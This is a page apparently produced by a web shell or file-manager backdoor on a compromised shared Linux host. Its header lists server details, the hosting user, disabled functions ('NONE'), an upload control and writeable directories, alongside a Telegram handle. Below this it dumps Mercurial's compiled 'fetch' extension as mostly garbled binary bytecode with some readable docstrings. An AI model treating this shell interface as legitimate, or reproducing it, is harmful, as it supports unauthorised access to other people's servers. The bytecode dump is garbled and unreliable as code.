https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/__pycache__/fetch.cpython-310.pyc
o

�]Lb��
@s�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
mZddlmZmZejZiZe�e�ZdZedd	d
ged�ed�fd
dded�fd
dded�fd
dded�fgejejejed�ejd�ddd��ZdS)z2pull, update and merge in one command (DEPRECATED)�)�absolute_import)�_)�short)�cmdutil�error�exchange�hg�lock�pycompat�	registrar)�dateutil�urlutilsships-with-hg-core�fetch�r�revs*a specific revision you would like to pullsREV��editNs invoke editor on commit messagessforce-editors edit commit message (DEPRECATED)s
switch-parentsswitch parents when mergingshg fetch [SOURCE])�helpcategory�defaultc	s�t�|�}|�d�}|rt�|�|d<�j����j��}z��|�}Wnt	j
y0d}Ynw�|kr@t	jtd�td�d��d}}�z���
�}���}t�����|�}	�fdd�|	D�}	t|	�dkrnt	�td	���t�d
�||�d}
t��||
��|�td�t�|
��d}|d
r�z
�fdd�|d
D�}Wnt	jy�td�}t	�|��wtj��|d�j}
|
dkr�Wt||�dS��|�}�j��g|�d}t|�dkr�t|�r�|d�kr�t� �|d�Wt||�SWt||�dS�fdd�|D�}��|�r|d�t�!����fdd�|D�}t|�dk�r7|�td�t|�d�Wt||�dS|�sBWt||�dSd}|�r�|d�rT�|d}}n|d�}}|�td��j�"|�t#|�f�t�!�|��|}|�td�|�"�t#|�f�tj$|dd�}|�s�t�%||��p�dt�&��'��}|�d��p�|�d�}tj(|d
d�}�j)||d|d|d�}|�td ��j�"|�t#|�f�|Wt||�St||�w)!a�pull changes from a remote repository, merge new changes if needed.

    This finds all changes from the repository at the specified path
    or URL and adds them to the local repository.

    If the pulled changes add a new branch head, the head is
    automatically merged, and the result of the merge is committed.
    Otherwise, the working directory is updated to include the new
    changes.

    When a merge is needed, the working directory is first updated to
    the newly pulled changes. Local changes are then merged into the
    pulled changes. To switch the merge order, use --switch-parent.

    See :hg:`help dates` for a list of formats valid for -d/--date.

    Returns 0 on success.
    sdateNs#working directory not at branch tips'use 'hg update' to check out branch tip)�hintcs$g|]}t�|���dkr|�qS)r)�len�children)�.0�head)�repo��-/usr/lib/python3/dist-packages/hgext/fetch.py�
<listcomp>gs$zfetch.<locals>.<listcomp>�sHmultiple heads in this branch (use "hg heads ." and "hg merge" to merge)rrspulling from %s
rcsg|]}��|��qSr)�lookup)r�rev)�otherrrrvssOother repository doesn't support revision lookup, so a rev cannot be specified.)�heads�c�g|]}|�kr|�qSrr�r�n)�parentrrr��cr$rrr%)�	newparentrrr�r(s[not merging with %d other new branch heads (use "hg heads ." and "hg merge" to merge them)
Fs
switch_parentsupdating to %d:%s
smerging with %d:%s
)�remindsAutomated merge with %srsforce_editor)�edit�editformsuser)�editors5new changeset %d:%s merges remote changes with local
)*r
�byteskwargs�getr�	parsedate�dirstate�p1�branch�	branchtipr�RepoLookupError�Abortr�wlockr	r�
bailifchanged�branchheadsrr
�get_unique_pull_pathr�peer�status�hidepassword�CapabilityErrorr�pull�cgresult�release�	changelog�nodesbetween�update�cleanr r�merge�
logmessage�
removeauth�url�getcommiteditor�commit)�uir�source�opts�dater3�
branchnoder7r	�bheads�path�revs�err�modheads�newheads�newchildren�firstparent�secondparent�p2ctx�message�editoptr-r&r)r)r!r'rr�fetch&s�
(


��

���
�F
�?�=��
��,�)�
�������r])r)�__doc__�
__future__r�mercurial.i18nr�mercurial.noder�	mercurialrrrrr	r
r�mercurial.utilsrr
rA�cmdtable�command�
testedwith�
commitopts�commitopts2�
remoteopts�CATEGORY_REMOTE_REPO_MANAGEMENTr]rrrr�<module>s@$	
���
���

https://t.me/RX1948 - 2025